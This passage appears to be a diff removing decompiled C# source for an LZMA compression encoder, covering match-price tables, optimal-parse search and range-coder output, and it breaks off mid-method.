BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { 